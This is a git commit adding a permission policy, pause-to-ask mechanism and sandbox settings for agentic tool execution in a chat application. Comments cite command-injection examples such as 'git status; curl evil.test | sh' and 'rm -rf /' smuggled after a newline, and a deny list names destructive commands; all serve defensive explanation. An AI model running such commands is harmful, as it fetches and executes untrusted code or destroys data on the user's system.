A reply can stop and ask you something
Three features turn out to be one mechanism: a command waiting to be approved, a question the model wants answered, and "this reply is waiting for you" are all — stop the generation, put an interactive block in the bubble, wait for a POST, carry on. So there is one primitive, and the only thing using it so far is `ask_user`: a model can offer you a few answers and a box to write your own. The shell executor is not here yet. This lands first on purpose, because it is the riskiest machinery in the feature and it is worth having working before any subprocess exists to complicate it. Two things about where the pause sits. It pauses a round, not a call: a round's calls run together under a semaphore, and parking four coroutines on four separate answers inside that gather would queue them behind each other invisibly. And Stop had to be taught about it — `cancel` is read between streamed chunks and there are no chunks while paused, so the button did nothing at all until `request_stop` learned to resolve the pause itself. Also here: a risk class on every tool (read, write, execute), which is what the four permission modes will be a table over, and the systemd unit loses ProtectKernelTunables. That last one is not tidying — it bind-mounts /proc/sys read-only, which stops bubblewrap mounting /proc at all, and the obvious workaround would expose this process's environment and with it the encryption key. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -0,0 +1,36 @@
|
||||
"""Agentic execution: running commands and touching files on the model's behalf.
|
||||
|
||||
Four parts, and the split is the safety argument. `policy` decides what may
|
||||
happen without asking and knows nothing about how anything runs. `base` is the
|
||||
interface a target implements. `local` runs on this machine inside a bubblewrap
|
||||
sandbox that cannot see the database or the encryption key; `ssh` runs on
|
||||
somebody else's machine, where nothing is sandboxed and the credential is the
|
||||
whole of the trust.
|
||||
|
||||
The mode is enforced in the generation loop, not in the prompt. A model is told
|
||||
which mode it is in so it can behave sensibly, but being told is not what stops
|
||||
it: everything it reads is untrusted, and a rule written only into a system
|
||||
message is a rule a poisoned README can argue with.
|
||||
"""
|
||||
|
||||
from lembas.services.agent.policy import (
|
||||
MODE_AUTO,
|
||||
MODE_EDIT,
|
||||
MODE_MANUAL,
|
||||
MODE_PLAN,
|
||||
MODES,
|
||||
Decision,
|
||||
Limits,
|
||||
decide,
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
"MODES",
|
||||
"MODE_AUTO",
|
||||
"MODE_EDIT",
|
||||
"MODE_MANUAL",
|
||||
"MODE_PLAN",
|
||||
"Decision",
|
||||
"Limits",
|
||||
"decide",
|
||||
]
|
||||
@@ -0,0 +1,184 @@
|
||||
"""What an agent chat is allowed to do without asking.
|
||||
|
||||
Four modes, one table, indexed by what a tool does to the world. Adding a mode
|
||||
is a row; adding a risk class is a column. Anything that needs an `if mode ==`
|
||||
somewhere else in the codebase is a sign this table is wrong rather than that
|
||||
the table is insufficient.
|
||||
|
||||
The important thing about all of it: **this is consulted in the generation loop,
|
||||
not written into the prompt.** A mode a model is merely told about is a mode a
|
||||
model can be talked out of, and everything a model reads -- a web page, a
|
||||
README, the output of a command it just ran -- is untrusted text that may be
|
||||
trying to do exactly that.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from dataclasses import dataclass
|
||||
from fnmatch import fnmatch
|
||||
|
||||
from lembas.services.tools import RISK_ASK, RISK_EXECUTE, RISK_READ, RISK_WRITE
|
||||
|
||||
MODE_MANUAL = "manual"
|
||||
MODE_EDIT = "edit"
|
||||
MODE_AUTO = "auto"
|
||||
MODE_PLAN = "plan"
|
||||
|
||||
MODES = (MODE_MANUAL, MODE_EDIT, MODE_AUTO, MODE_PLAN)
|
||||
|
||||
MODE_LABELS = {
|
||||
MODE_MANUAL: "Manual",
|
||||
MODE_EDIT: "Edit",
|
||||
MODE_AUTO: "Auto",
|
||||
MODE_PLAN: "Plan",
|
||||
}
|
||||
|
||||
MODE_HINTS = {
|
||||
MODE_MANUAL: "Everything is shown to you before it happens.",
|
||||
MODE_EDIT: "Files are read and written freely; commands are shown to you first.",
|
||||
MODE_AUTO: "Nothing is shown to you first. Only for work you would do yourself.",
|
||||
MODE_PLAN: "Reads freely, changes nothing, and finishes by proposing a plan.",
|
||||
}
|
||||
|
||||
ALLOW = "allow"
|
||||
ASK = "ask"
|
||||
|
||||
# The whole feature. Read across a row to see what a mode means.
|
||||
POLICY: dict[str, dict[str, str]] = {
|
||||
MODE_MANUAL: {RISK_READ: ASK, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
|
||||
MODE_EDIT: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ASK},
|
||||
MODE_AUTO: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ALLOW},
|
||||
MODE_PLAN: {RISK_READ: ALLOW, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
|
||||
}
|
||||
|
||||
# A shell metacharacter makes a command line unmatchable, so it falls through to
|
||||
# the mode's own verdict rather than to an allow-list entry. Without this,
|
||||
# `git *` in an allow list also matches `git status; curl evil.test | sh`, which
|
||||
# is the whole ballgame. A deny list needs no such rule: failing open there
|
||||
# returns you to the mode, while failing open on an allow list runs the command.
|
||||
_UNSAFE = re.compile(r"[;&|<>`$\n\\()]")
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Decision:
|
||||
verdict: str
|
||||
reason: str = ""
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Limits:
|
||||
"""What one agent reply may spend.
|
||||
|
||||
Three axes because they fail differently. Steps stop a loop; wall clock
|
||||
stops a single slow command eating an afternoon; output stops a model
|
||||
filling its own context with build logs and having no room left to answer.
|
||||
"""
|
||||
|
||||
steps: int = 40
|
||||
wall_seconds: float = 900.0
|
||||
output_bytes: int = 1024 * 1024
|
||||
|
||||
|
||||
def subject(tool_name: str, command: str = "") -> str | None:
|
||||
"""What a pattern is matched against, or None when nothing may match it.
|
||||
|
||||
For everything but a command it is the tool name, so `file_read` in an
|
||||
allow list means "reading files never asks". For `shell_run` it is the
|
||||
command line, normalised -- unless it contains anything that composes two
|
||||
commands into one, in which case no pattern is allowed to match at all.
|
||||
"""
|
||||
if tool_name != "shell_run":
|
||||
return tool_name
|
||||
raw = command or ""
|
||||
# Checked BEFORE whitespace is normalised. Collapsing runs of whitespace
|
||||
# first would turn "git status\nrm -rf /" into a single innocent-looking
|
||||
# line and let it match `git *` -- a newline separates two commands exactly
|
||||
# as a semicolon does.
|
||||
if _UNSAFE.search(raw):
|
||||
return None
|
||||
line = " ".join(raw.split())
|
||||
return line or None
|
||||
|
||||
|
||||
def _matches(patterns: tuple[str, ...], candidate: str | None) -> str:
|
||||
if candidate is None:
|
||||
return ""
|
||||
for pattern in patterns:
|
||||
if fnmatch(candidate, pattern):
|
||||
return pattern
|
||||
return ""
|
||||
|
||||
|
||||
def decide(
|
||||
*,
|
||||
mode: str,
|
||||
risk: str,
|
||||
tool_name: str,
|
||||
command: str = "",
|
||||
allow: tuple[str, ...] = (),
|
||||
deny: tuple[str, ...] = (),
|
||||
) -> Decision:
|
||||
"""What to do about one call.
|
||||
|
||||
The order is the design:
|
||||
|
||||
1. A deny wins before everything, **including Auto**. A deny list that Auto
|
||||
ignores is not a deny list, it is a suggestion.
|
||||
2. `ask` never resolves to allow. `ask_user` asks in every mode; that is
|
||||
what the tool is for, and a mode that skipped it would answer the
|
||||
model's question on the reader's behalf.
|
||||
3. An allow-list hit runs it.
|
||||
4. Otherwise the table.
|
||||
|
||||
An unrecognised mode is treated as Manual, not Auto: a row that predates a
|
||||
rename has to fail towards asking.
|
||||
"""
|
||||
candidate = subject(tool_name, command)
|
||||
|
||||
hit = _matches(deny, candidate)
|
||||
if hit:
|
||||
return Decision(ASK, f"“{hit}” is on the list of commands to always ask about.")
|
||||
|
||||
if risk == RISK_ASK:
|
||||
return Decision(ASK, "")
|
||||
|
||||
if mode not in POLICY:
|
||||
return Decision(ASK, f"“{mode}” is not a mode I know, so I am asking.")
|
||||
|
||||
hit = _matches(allow, candidate)
|
||||
if hit:
|
||||
return Decision(ALLOW, f"“{hit}” is on the list of things to allow.")
|
||||
|
||||
verdict = POLICY[mode].get(risk, ASK)
|
||||
if verdict == ALLOW:
|
||||
return Decision(ALLOW, "")
|
||||
|
||||
label = MODE_LABELS.get(mode, mode)
|
||||
return Decision(ASK, f"{label} mode asks before anything that {_verb(risk)}.")
|
||||
|
||||
|
||||
def _verb(risk: str) -> str:
|
||||
return {
|
||||
RISK_READ: "reads",
|
||||
RISK_WRITE: "changes a file",
|
||||
RISK_EXECUTE: "runs a command",
|
||||
}.get(risk, "does this")
|
||||
|
||||
|
||||
__all__ = [
|
||||
"ALLOW",
|
||||
"ASK",
|
||||
"MODES",
|
||||
"MODE_AUTO",
|
||||
"MODE_EDIT",
|
||||
"MODE_HINTS",
|
||||
"MODE_LABELS",
|
||||
"MODE_MANUAL",
|
||||
"MODE_PLAN",
|
||||
"POLICY",
|
||||
"Decision",
|
||||
"Limits",
|
||||
"decide",
|
||||
"subject",
|
||||
]
|
||||
@@ -51,7 +51,7 @@ from lembas.services import fetch as fetch_service
|
||||
from lembas.services import tool_access
|
||||
from lembas.services.crypto import decrypt
|
||||
from lembas.services.prompts import VARIABLE_PATTERN
|
||||
from lembas.services.tools import ToolContext, ToolDef, ToolOutcome
|
||||
from lembas.services.tools import RISK_READ, RISK_WRITE, ToolContext, ToolDef, ToolOutcome
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
@@ -141,11 +141,23 @@ def tool_defs(
|
||||
description=row.description or f"Call the {row.name} tool.",
|
||||
parameters=_schema_of(row),
|
||||
run=_runner(spec_from(row)),
|
||||
risk=_risk_of(row),
|
||||
)
|
||||
for row in tool_access.visible_custom_tools(db, user, everything=everything)
|
||||
]
|
||||
|
||||
|
||||
def _risk_of(row: CustomTool) -> str:
|
||||
"""What calling this tool does to the world, as far as the method says.
|
||||
|
||||
The method is all there is to go on, and it is a reasonable proxy: GET and
|
||||
HEAD are defined to be safe, and everything else is a request to change
|
||||
something. Guessing wrong in the cautious direction only means an agent
|
||||
chat asks about a call it need not have.
|
||||
"""
|
||||
return RISK_READ if (row.method or "GET").upper() in ("GET", "HEAD") else RISK_WRITE
|
||||
|
||||
|
||||
def _schema_of(row: CustomTool) -> dict[str, Any]:
|
||||
schema = dict(row.parameters_json or {})
|
||||
if schema.get("type") != "object":
|
||||
|
||||
@@ -17,8 +17,10 @@ from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import contextlib
|
||||
import json
|
||||
import logging
|
||||
import time
|
||||
import uuid
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import UTC, datetime, timedelta
|
||||
|
||||
@@ -28,9 +30,9 @@ from lembas.db.models import ROLE_ASSISTANT, ROLE_USER, Chat, Message, User
|
||||
from lembas.db.session import session_scope
|
||||
from lembas.services import chat as chat_service
|
||||
from lembas.services import compaction as compaction_service
|
||||
from lembas.services import interaction, tokens
|
||||
from lembas.services import metrics as metrics_service
|
||||
from lembas.services import prompts as prompts_service
|
||||
from lembas.services import tokens
|
||||
from lembas.services import tools as tools_service
|
||||
from lembas.services.llm.openai_client import (
|
||||
LLMError,
|
||||
@@ -41,6 +43,7 @@ from lembas.services.llm.openai_client import (
|
||||
stream_chat,
|
||||
)
|
||||
from lembas.services.reasoning import REASONING, ReasoningSplitter
|
||||
from lembas.services.tools import ToolOutcome
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
@@ -108,6 +111,16 @@ class Generation:
|
||||
finished_at: datetime | None = None
|
||||
cancel: bool = False
|
||||
|
||||
# Set while the reply is stopped waiting for a person -- an approval, or a
|
||||
# question the model asked. None at every other moment. Read by `_follow`,
|
||||
# which sends the card, and by `request_stop`, which resolves it: `cancel`
|
||||
# is otherwise only ever read between streamed chunks, and there are no
|
||||
# chunks while this is set.
|
||||
pending: interaction.Interruption | None = None
|
||||
# Seconds spent waiting for a person, cumulative. Taken off the wall-clock
|
||||
# budget so that thinking time is the model's and not the reader's.
|
||||
waited: float = 0.0
|
||||
|
||||
def touch(self) -> None:
|
||||
self.version += 1
|
||||
|
||||
@@ -134,12 +147,47 @@ def request_stop(message_id: str) -> bool:
|
||||
if generation is None or generation.done:
|
||||
return False
|
||||
generation.cancel = True
|
||||
# A paused reply produces no chunks, and the chunk loop is the only place
|
||||
# `cancel` is ever read -- so without this, Stop does nothing at all while
|
||||
# an approval card is on screen. Resolving the pause is the wakeup; `_run`
|
||||
# then takes its ordinary stopped path rather than needing a second branch.
|
||||
if generation.pending is not None:
|
||||
generation.pending.resolve(interaction.CANCELLED)
|
||||
return True
|
||||
|
||||
|
||||
def answer(chat_id: str, interaction_id: str, *, choice: str, text: str) -> bool:
|
||||
"""Resolve whichever running reply is parked on this interruption.
|
||||
|
||||
A linear scan of the registry: it holds one entry per reply in flight, and
|
||||
this runs at human speed. Scoped to the chat because the caller has already
|
||||
checked that this reader owns *that* chat, and an id alone would not.
|
||||
"""
|
||||
for generation in _RUNNING.values():
|
||||
pending = generation.pending
|
||||
if generation.chat_id != chat_id or pending is None or pending.id != interaction_id:
|
||||
continue
|
||||
outcome = choice if choice in _ANSWERS else interaction.ANSWER
|
||||
return pending.resolve(outcome, text=text or choice)
|
||||
return False
|
||||
|
||||
|
||||
_ANSWERS = (interaction.ALLOW, interaction.ALLOW_ALWAYS, interaction.DENY)
|
||||
|
||||
|
||||
def _prune() -> None:
|
||||
cutoff = datetime.now(UTC) - KEEP_FINISHED
|
||||
now = time.monotonic()
|
||||
for message_id, generation in list(_RUNNING.items()):
|
||||
# A paused reply is deliberately not `done` -- a page reload has to be
|
||||
# able to reattach to it. Its timeout is what stops it lingering, and
|
||||
# this is the belt to that pair of braces: a deadline long past means
|
||||
# the timeout did not fire, and a task parked forever is worse than one
|
||||
# that gives up.
|
||||
pending = generation.pending
|
||||
if pending is not None and now > pending.expires_at + KEEP_FINISHED.total_seconds():
|
||||
log.warning("resolving a stuck interaction on message %s", message_id)
|
||||
pending.resolve(interaction.EXPIRED)
|
||||
if generation.done and generation.finished_at and generation.finished_at < cutoff:
|
||||
_RUNNING.pop(message_id, None)
|
||||
_TASKS.pop(message_id, None)
|
||||
@@ -339,10 +387,18 @@ async def _run(generation: Generation) -> None:
|
||||
tools_service.assistant_turn(calls, "".join(round_text)),
|
||||
]
|
||||
|
||||
# Decided before anything runs, never during. A round's calls run
|
||||
# together under a semaphore, and four people-shaped pauses inside
|
||||
# that gather would queue behind each other invisibly -- see
|
||||
# services/interaction.py.
|
||||
decided = await _authorise(generation, tool_context, calls)
|
||||
if generation.stopped:
|
||||
break
|
||||
|
||||
generation.status = _tool_status(calls)
|
||||
generation.touch()
|
||||
try:
|
||||
outcomes = await _run_calls(tool_context, calls)
|
||||
outcomes = await _run_calls(tool_context, calls, decided=decided)
|
||||
finally:
|
||||
generation.status = ""
|
||||
generation.touch()
|
||||
@@ -488,7 +544,98 @@ def _tool_status(calls: list[dict]) -> str:
|
||||
return f"Running {len(calls)} tools…"
|
||||
|
||||
|
||||
async def _run_calls(context, calls: list[dict]) -> list:
|
||||
def _ask_items(context, calls: list[dict]) -> list[interaction.Item]:
|
||||
"""Which of this round's calls need a person, and what to show about each.
|
||||
|
||||
Looked up through `context.tools`, the map of what was actually offered --
|
||||
the same authority `run_tool` uses. A name that is not in it is left alone
|
||||
here and refused there, so an unknown tool cannot smuggle itself past by
|
||||
being unclassifiable.
|
||||
"""
|
||||
book = context.tools if context.tools is not None else tools_service.REGISTRY
|
||||
items: list[interaction.Item] = []
|
||||
|
||||
for index, call in enumerate(calls):
|
||||
tool = book.get(call["name"])
|
||||
if tool is None or tool.risk != tools_service.RISK_ASK:
|
||||
continue
|
||||
try:
|
||||
args = json.loads(call["arguments"] or "{}")
|
||||
except json.JSONDecodeError:
|
||||
args = {}
|
||||
if not isinstance(args, dict):
|
||||
args = {}
|
||||
|
||||
options = [str(o).strip() for o in (args.get("options") or []) if str(o).strip()]
|
||||
items.append(
|
||||
interaction.Item(
|
||||
index=index,
|
||||
kind=interaction.KIND_QUESTION,
|
||||
tool_name=call["name"],
|
||||
title=str(args.get("question") or "").strip() or "A question for you",
|
||||
options=tuple(options[: interaction.MAX_OPTIONS]),
|
||||
)
|
||||
)
|
||||
return items
|
||||
|
||||
|
||||
async def _authorise(generation, context, calls: list[dict]) -> dict[int, ToolOutcome]:
|
||||
"""Which of this round's calls may run, and what the others answer instead.
|
||||
|
||||
Returns outcomes keyed by the call's index. Every index the caller does not
|
||||
find here is cleared to run; every index it does find is answered without
|
||||
the runner being reached at all. That is what keeps
|
||||
`zip(calls, outcomes, strict=True)` aligned -- an endpoint matching on
|
||||
`tool_call_id` pairs the wrong content with the right id otherwise.
|
||||
"""
|
||||
items = _ask_items(context, calls)
|
||||
if not items:
|
||||
return {}
|
||||
|
||||
timeout = float(context.interaction_timeout or 900)
|
||||
pause = interaction.build(uuid.uuid4().hex, items, timeout=timeout)
|
||||
generation.status = interaction.summarise(pause.items)
|
||||
reply = await interaction.wait_for(generation, pause, timeout=timeout)
|
||||
generation.status = ""
|
||||
|
||||
if reply.ended:
|
||||
generation.stopped = True
|
||||
return {}
|
||||
|
||||
return {item.index: _answered(item, reply) for item in items}
|
||||
|
||||
|
||||
def _answered(item: interaction.Item, reply: interaction.Reply) -> ToolOutcome:
|
||||
"""One question's answer, as the model will read it back."""
|
||||
event = {
|
||||
"name": item.tool_name,
|
||||
"kind": "ask",
|
||||
"label": "Asked you",
|
||||
"query": item.title,
|
||||
"results": [],
|
||||
}
|
||||
if reply.outcome == interaction.EXPIRED:
|
||||
return ToolOutcome(
|
||||
"They did not answer. Carry on as best you can without it, or say "
|
||||
"what you still need.",
|
||||
{**event, "status": "error", "error": "No answer.", "text": ""},
|
||||
)
|
||||
|
||||
answer_text = reply.text.strip()
|
||||
if not answer_text:
|
||||
return ToolOutcome(
|
||||
"They closed the question without answering.",
|
||||
{**event, "status": "error", "error": "No answer.", "text": ""},
|
||||
)
|
||||
return ToolOutcome(
|
||||
f"They answered: {answer_text}",
|
||||
{**event, "status": "ok", "text": answer_text},
|
||||
)
|
||||
|
||||
|
||||
async def _run_calls(
|
||||
context, calls: list[dict], *, decided: dict[int, ToolOutcome] | None = None
|
||||
) -> list:
|
||||
"""Run one round's calls together, results in call order.
|
||||
|
||||
Sequential was right when every tool was a local database read. A remote one
|
||||
@@ -507,11 +654,15 @@ async def _run_calls(context, calls: list[dict]) -> list:
|
||||
"""
|
||||
limit = asyncio.Semaphore(MAX_PARALLEL_TOOLS)
|
||||
|
||||
async def one(call: dict):
|
||||
async def one(index: int, call: dict):
|
||||
# Already answered by a person, or refused before it got here. It still
|
||||
# occupies its index, because the tool turns have to line up.
|
||||
if decided and index in decided:
|
||||
return decided[index]
|
||||
async with limit:
|
||||
return await tools_service.run_tool(context, call["name"], call["arguments"])
|
||||
|
||||
return list(await asyncio.gather(*(one(call) for call in calls)))
|
||||
return list(await asyncio.gather(*(one(i, c) for i, c in enumerate(calls))))
|
||||
|
||||
|
||||
def _pending_text(db, message: Message) -> str:
|
||||
|
||||
@@ -0,0 +1,189 @@
|
||||
"""Pausing a reply to ask the person reading it something.
|
||||
|
||||
Three features turn out to be one mechanism. A command that needs approving, a
|
||||
question the model wants answered, and "this reply is waiting for you" are all:
|
||||
stop the generation, put an interactive block in the bubble, wait for a POST,
|
||||
carry on. So there is one primitive, and approval is a shape of question rather
|
||||
than a separate machine.
|
||||
|
||||
Two things about where it sits matter.
|
||||
|
||||
**It pauses a round, not a call.** A round's tool calls run together under a
|
||||
semaphore, and parking four coroutines on four separate answers inside that
|
||||
gather would queue them behind each other invisibly -- and the reader would get
|
||||
four cards, answerable in any order, for commands whose order matters. So one
|
||||
card describes everything in the round that needs a decision, and the calls that
|
||||
survive it run concurrently exactly as they did before.
|
||||
|
||||
**Stop has to keep working.** `generation.cancel` is read in one place, between
|
||||
streamed chunks, and there are no chunks while paused. Rather than a second
|
||||
poller, `generation.request_stop` resolves the pause directly; see the comment
|
||||
there. Nothing in this module reaches back into `services.generation`, which is
|
||||
what keeps it testable on its own.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
if TYPE_CHECKING: # pragma: no cover - annotation only
|
||||
from lembas.services.generation import Generation
|
||||
|
||||
KIND_APPROVAL = "approval"
|
||||
KIND_QUESTION = "question"
|
||||
|
||||
# How a pause ended.
|
||||
ALLOW = "allow"
|
||||
ALLOW_ALWAYS = "allow_always"
|
||||
DENY = "deny"
|
||||
ANSWER = "answer"
|
||||
CANCELLED = "cancelled" # Stop was pressed while the card was showing
|
||||
EXPIRED = "expired" # nobody answered in time
|
||||
|
||||
# Outcomes that mean "go ahead".
|
||||
PERMITTED = (ALLOW, ALLOW_ALWAYS)
|
||||
|
||||
# A card offering more than this many buttons is a card nobody reads.
|
||||
MAX_OPTIONS = 6
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Item:
|
||||
"""One thing being asked about.
|
||||
|
||||
`index` is the position of the call in its round, so a decision can be
|
||||
matched back to the call it was about -- the tool turns have to line up with
|
||||
the assistant turn's `tool_calls` or an endpoint pairs the wrong result with
|
||||
the right id.
|
||||
"""
|
||||
|
||||
index: int
|
||||
kind: str
|
||||
tool_name: str
|
||||
title: str
|
||||
detail: str = ""
|
||||
reason: str = ""
|
||||
options: tuple[str, ...] = ()
|
||||
allow_free_text: bool = True
|
||||
|
||||
|
||||
@dataclass
|
||||
class Interruption:
|
||||
"""A reply, stopped, waiting for one answer to cover every item."""
|
||||
|
||||
id: str
|
||||
items: tuple[Item, ...]
|
||||
expires_at: float = 0.0
|
||||
_future: asyncio.Future | None = field(default=None, repr=False, compare=False)
|
||||
|
||||
@property
|
||||
def kind(self) -> str:
|
||||
return KIND_QUESTION if any(i.kind == KIND_QUESTION for i in self.items) else KIND_APPROVAL
|
||||
|
||||
@property
|
||||
def options(self) -> tuple[str, ...]:
|
||||
for item in self.items:
|
||||
if item.options:
|
||||
return item.options
|
||||
return ()
|
||||
|
||||
@property
|
||||
def allow_free_text(self) -> bool:
|
||||
return any(item.allow_free_text for item in self.items)
|
||||
|
||||
def resolve(self, outcome: str, *, text: str = "") -> bool:
|
||||
"""Complete this pause. Idempotent -- a second answer is ignored.
|
||||
|
||||
Returns whether this call was the one that answered it, which is what
|
||||
the endpoint reports back: a card answered twice (two tabs, a double
|
||||
click) should say so rather than pretend.
|
||||
"""
|
||||
if self._future is None or self._future.done():
|
||||
return False
|
||||
self._future.set_result(Reply(outcome=outcome, text=text))
|
||||
return True
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Reply:
|
||||
outcome: str
|
||||
text: str = ""
|
||||
|
||||
@property
|
||||
def permitted(self) -> bool:
|
||||
return self.outcome in PERMITTED
|
||||
|
||||
@property
|
||||
def ended(self) -> bool:
|
||||
"""Whether this outcome means the whole reply should stop."""
|
||||
return self.outcome == CANCELLED
|
||||
|
||||
|
||||
def build(
|
||||
interaction_id: str, items: list[Item] | tuple[Item, ...], *, timeout: float
|
||||
) -> Interruption:
|
||||
"""An interruption with its future attached, ready to be waited on."""
|
||||
return Interruption(
|
||||
id=interaction_id,
|
||||
items=tuple(items),
|
||||
expires_at=time.monotonic() + timeout,
|
||||
_future=asyncio.get_running_loop().create_future(),
|
||||
)
|
||||
|
||||
|
||||
async def wait_for(
|
||||
generation: Generation, interruption: Interruption, *, timeout: float
|
||||
) -> Reply:
|
||||
"""Park the generation on this interruption until somebody answers.
|
||||
|
||||
Sets `generation.pending` and touches, so the follower sends the card on its
|
||||
next frame; clears both in `finally`, so answering makes it disappear. The
|
||||
time spent here accumulates on `generation.waited` and is taken off the
|
||||
reply's wall-clock budget -- a reader who thinks for ten minutes about one
|
||||
command should not thereby spend the whole allowance.
|
||||
"""
|
||||
generation.pending = interruption
|
||||
generation.touch()
|
||||
started = time.monotonic()
|
||||
try:
|
||||
return await asyncio.wait_for(asyncio.shield(interruption._future), timeout)
|
||||
except TimeoutError:
|
||||
return Reply(outcome=EXPIRED)
|
||||
finally:
|
||||
generation.waited += time.monotonic() - started
|
||||
generation.pending = None
|
||||
generation.touch()
|
||||
|
||||
|
||||
def summarise(items: tuple[Item, ...]) -> str:
|
||||
"""What to show in the status line while the card is up."""
|
||||
if not items:
|
||||
return ""
|
||||
if items[0].kind == KIND_QUESTION:
|
||||
return "Waiting for your answer…"
|
||||
if len(items) == 1:
|
||||
return f"Waiting for you to allow {items[0].tool_name}…"
|
||||
return f"Waiting for you to allow {len(items)} actions…"
|
||||
|
||||
|
||||
__all__ = [
|
||||
"ALLOW",
|
||||
"ALLOW_ALWAYS",
|
||||
"ANSWER",
|
||||
"CANCELLED",
|
||||
"DENY",
|
||||
"EXPIRED",
|
||||
"KIND_APPROVAL",
|
||||
"KIND_QUESTION",
|
||||
"MAX_OPTIONS",
|
||||
"PERMITTED",
|
||||
"Interruption",
|
||||
"Item",
|
||||
"Reply",
|
||||
"build",
|
||||
"summarise",
|
||||
"wait_for",
|
||||
]
|
||||
@@ -27,7 +27,7 @@ from lembas.services import tool_access
|
||||
from lembas.services.fetch import FetchError
|
||||
from lembas.services.mcp import client
|
||||
from lembas.services.mcp.protocol import McpError
|
||||
from lembas.services.tools import FAMILY_MCP, ToolContext, ToolDef, ToolOutcome
|
||||
from lembas.services.tools import FAMILY_MCP, RISK_WRITE, ToolContext, ToolDef, ToolOutcome
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
@@ -138,6 +138,11 @@ def tool_defs(
|
||||
description=entry.get("description") or f"{name}, from {server.name}.",
|
||||
parameters=entry.get("schema") or {"type": "object", "properties": {}},
|
||||
run=_runner(spec, name, offered),
|
||||
# Conservative, because nothing in tools/list says. A server
|
||||
# calling something `search` may still be filing a ticket
|
||||
# with it, and the cost of being wrong this way is a
|
||||
# question nobody needed to answer.
|
||||
risk=RISK_WRITE,
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
@@ -23,6 +23,7 @@ GENERAL = "general"
|
||||
AUDIO = "audio"
|
||||
SEARCH = "search"
|
||||
PROMPTS = "prompts"
|
||||
AGENTS = "agents"
|
||||
|
||||
|
||||
def _general_defaults() -> dict[str, Any]:
|
||||
@@ -44,6 +45,58 @@ def _general_defaults() -> dict[str, Any]:
|
||||
}
|
||||
|
||||
|
||||
def _agents_defaults() -> dict[str, Any]:
|
||||
"""Agentic execution: running commands, on this machine or over SSH.
|
||||
|
||||
Local execution is an instance decision rather than a personal one, because
|
||||
the sandbox runs on this machine and its blast radius is this machine. SSH
|
||||
profiles belong to whoever made them, but whether SSH exists here at all
|
||||
does not.
|
||||
|
||||
Everything is off until an administrator turns it on. That is not caution
|
||||
for its own sake: a model reads web pages, files and command output, all of
|
||||
which are untrusted, so shell access is a capability somebody has to choose
|
||||
on purpose.
|
||||
"""
|
||||
return {
|
||||
"local_enabled": False,
|
||||
"ssh_enabled": False,
|
||||
"bwrap_path": "bwrap",
|
||||
# Read-only paths every sandbox sees, on top of /usr and the /lib
|
||||
# symlinks. The deployment prefix is never here, and a bind containing
|
||||
# the data directory is refused when the sandbox is built rather than
|
||||
# trusted to a careful administrator.
|
||||
"ro_binds": [
|
||||
"/etc/ssl",
|
||||
"/etc/ca-certificates",
|
||||
"/etc/resolv.conf",
|
||||
# /etc/resolv.conf is a symlink into here on a systemd-resolved box,
|
||||
# and binding the symlink alone leaves it dangling.
|
||||
"/run/systemd/resolve",
|
||||
],
|
||||
# Off by default, and the single most valuable setting in this group: an
|
||||
# instruction injected through a file the model read cannot send
|
||||
# anything anywhere from a sandbox with no network.
|
||||
"network": False,
|
||||
"default_timeout": 60,
|
||||
"max_timeout": 600,
|
||||
"max_output_bytes": 64 * 1024,
|
||||
"ulimit_fsize_mb": 64,
|
||||
"ulimit_nproc": 128,
|
||||
# Per reply. See services/agent/policy.py:Limits.
|
||||
"max_steps": 40,
|
||||
"max_wall_seconds": 900,
|
||||
"max_total_output_bytes": 1024 * 1024,
|
||||
"workspace_max_bytes": 512 * 1024 * 1024,
|
||||
# How long a reply waits for someone to answer. Clamped on read: a zero
|
||||
# here would park a background task forever.
|
||||
"approval_timeout": 900,
|
||||
"allow_default": ["file_read", "file_list", "ls *", "pwd", "git status"],
|
||||
"deny_default": ["shutdown *", "reboot *", "mkfs*"],
|
||||
"ask_free_text": True,
|
||||
}
|
||||
|
||||
|
||||
def _audio_defaults() -> dict[str, Any]:
|
||||
"""Speech-to-text and text-to-speech endpoints.
|
||||
|
||||
@@ -111,6 +164,7 @@ _DEFAULTS: dict[str, Any] = {
|
||||
AUDIO: _audio_defaults,
|
||||
SEARCH: _search_defaults,
|
||||
PROMPTS: _prompts_defaults,
|
||||
AGENTS: _agents_defaults,
|
||||
}
|
||||
|
||||
|
||||
@@ -175,3 +229,17 @@ def audio(db: DBSession) -> dict[str, Any]:
|
||||
|
||||
def search(db: DBSession) -> dict[str, Any]:
|
||||
return get_group(db, SEARCH)
|
||||
|
||||
|
||||
def agents(db: DBSession) -> dict[str, Any]:
|
||||
"""Agent settings, with the two numbers that must not be zero clamped.
|
||||
|
||||
`approval_timeout` of 0 would park a background task on a question nobody
|
||||
is going to answer, and nothing else prunes a generation that is not
|
||||
finished. Clamped on read rather than on save, so a value already stored by
|
||||
an earlier version cannot bite either.
|
||||
"""
|
||||
values = get_group(db, AGENTS)
|
||||
values["approval_timeout"] = min(max(int(values.get("approval_timeout") or 0), 60), 3600)
|
||||
values["max_timeout"] = min(max(int(values.get("max_timeout") or 0), 1), 3600)
|
||||
return values
|
||||
|
||||
@@ -68,8 +68,20 @@ FAMILY_SKILLS = "skills"
|
||||
FAMILY_CUSTOM = "custom"
|
||||
FAMILY_MCP = "mcp"
|
||||
|
||||
# Stopping to ask the reader something. Its own family because it belongs to no
|
||||
# other one: it is offered in an ordinary chat as much as an agent chat, and it
|
||||
# is the only tool the model cannot resolve by itself.
|
||||
